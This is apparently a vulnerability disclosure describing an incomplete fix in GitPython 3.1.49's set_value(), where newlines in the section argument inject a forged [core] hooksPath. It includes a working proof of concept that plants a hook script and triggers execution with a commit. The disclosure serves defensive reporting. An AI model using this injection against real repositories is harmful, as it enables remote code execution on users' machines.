Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = git.Repo.init("/tmp/bypass_test") os.makedirs("/tmp/evil_hooks", exist_ok=True) with open("/tmp/evil_hooks/pre-commit", "w") as f: f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n") os.chmod("/tmp/evil_hooks/pre-commit", 0o755) # Inject newline into section parameter (not value — already patched) with repo.config_writer() as cw: cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks") r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"], capture_output=True, text=True) print(r.stdout.strip()) # → /tmp/evil_hooks subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"]) print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed ``` Impact Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.